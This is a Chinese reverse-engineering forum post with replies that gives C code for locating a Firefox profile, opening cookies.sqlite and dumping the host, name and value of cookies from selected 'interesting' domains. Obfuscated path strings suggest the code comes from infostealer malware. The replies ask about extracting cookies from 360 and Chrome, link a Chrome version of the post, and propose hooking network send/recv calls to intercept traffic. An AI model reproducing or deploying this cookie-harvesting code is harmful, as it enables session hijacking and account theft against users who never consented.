首页
社区
课程
招聘
[原创]获取Firefox浏览器cookie
发表于: 2016-1-13 09:07 12043

[原创]获取Firefox浏览器cookie

2016-1-13 09:07
12043
这个帖子在『临时会员版』已经发表了,但是那个时候没有添加附件,现在添加完整的代码附件!

闲来无事,对firefox浏览器的cookie进行了分析,发现firefox浏览器的cookie是存放在一个cookies.sqlite的sqlite数据库文件中。

步骤:
1.获取firefox浏览器Profile文件的路径;
2.找到cookies.sqlite的完整路径;
3.对cookies.sqlite进行解析。

下面看看主要代码:
1.获取firefox浏览器Profile文件的路径
//获取firefox浏览器的随机路径
WCHAR *GetFFProfilePath()
{
  static WCHAR FullPath[MAX_PATH];
  WCHAR appPath[MAX_PATH];
  WCHAR iniFile[MAX_PATH];
  WCHAR profilePath[MAX_PATH];
  DWORD pathSize = MAX_PATH;

  memset(appPath, 0, sizeof(appPath));
  memset(profilePath, 0, sizeof(profilePath));

  GetEnvironmentVariableW(L"APPDATA", appPath, MAX_PATH);

  // Get firefox profile directory
  _snwprintf_s(iniFile, MAX_PATH, DeobStringW(L"%9\\D5OZyyH\\aZEIM5S\\PE5MZyI9.Z1Z"), appPath); //"%s\\Mozilla\\Firefox\\profiles.ini"

  GetPrivateProfileStringW(DeobStringW(L"3E5MZyIj"), L"Path", L"",  profilePath, sizeof(profilePath), iniFile); //"Profile0"

  _snwprintf_s(FullPath, MAX_PATH, DeobStringW(L"%9\\D5OZyyH\\aZEIM5S\\%9"), appPath, profilePath);  //"%s\\Mozilla\\Firefox\\%s"

  return FullPath;
}


2.找到cookies.sqlite的完整路径
//开始解析感兴趣的cookie
int static DumpSqliteCookies(WCHAR *profilePath, WCHAR *signonFile)
{
  sqlite3 *db;
  char *ascii_path;
  CHAR sqlPath[MAX_PATH];
  int rc;

  //转换编码
  if (!(ascii_path = GetDosAsciiName(profilePath)))
    return 0;

  sprintf_s(sqlPath, MAX_PATH, "%s\\%S", ascii_path, signonFile);

  SAFE_FREE(ascii_path);

  //打开firefox浏览器cookie存放数据库
  if ((rc = sqlite3_open(sqlPath, &db))) 
    return 0;

  //执行查询语句
  sqlite3_exec(db, "SELECT * FROM moz_cookies;", parse_sqlite_cookies, NULL, NULL);

  //关闭数据库
  sqlite3_close(db);

  return 1;
}


3.对cookies.sqlite进行解析
//sqlite数据库解析 回调函数
int static parse_sqlite_cookies(void *NotUsed, int argc, char **argv, char **azColName)
{
  char *host = NULL;
  char *name = NULL;
  char *value = NULL;

  for(int i=0; i<argc; i++){
    if(!host && !_stricmp(azColName[i], "host"))
      host = _strdup(argv[i]);
    if(!name && !_stricmp(azColName[i], "name"))
      name = _strdup(argv[i]);
    if(!value && !_stricmp(azColName[i], "value"))
      value = _strdup(argv[i]);
  }  

  //字符串分割
  NormalizeDomainA(host);

  if (host && name && value && IsInterestingDomainA(host))
    printf("host=%s,\tname=%s,\tvalue=%s\n",host,name,value);

  SAFE_FREE(host);
  SAFE_FREE(name);
  SAFE_FREE(value);

  return 0;
}


主要用到C++、sqlite,编译器是VS2010。

完整代码见附件---解压密码是pediy.com

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 1
支持
分享
最新回复 (8)
雪    币: 60
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
收, 支持 +1
2016-1-13 09:42
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
360浏览器的cookies能提取吗
2016-3-7 15:21
0
雪    币: 53
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
没研究过360浏览器,平时基本不用。360浏览器是用IE的内核,可以试试
2016-3-10 11:17
0
雪    币: 626
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
貌似有用  感谢分享
2016-3-10 11:49
0
雪    币: 1305
活跃值: (228)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
6
chrome能获取吗?
2016-3-10 12:50
0
雪    币: 53
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
可以的,我在另一个帖子《获取Chrome浏览器cookie》发有:http://bbs.pediy.com/showthread.php?t=207053
2016-3-10 13:24
0
雪    币: 18
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
非HTTPS的话, 直接HOOK send recv , wsasend ,wsarecv. 是不是可以通杀所有浏览器?
2016-3-23 06:11
0
雪    币: 272
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
谢谢楼主分享。正好需要的。
2017-6-27 22:24
0
游客
登录 | 注册 方可回帖
返回
//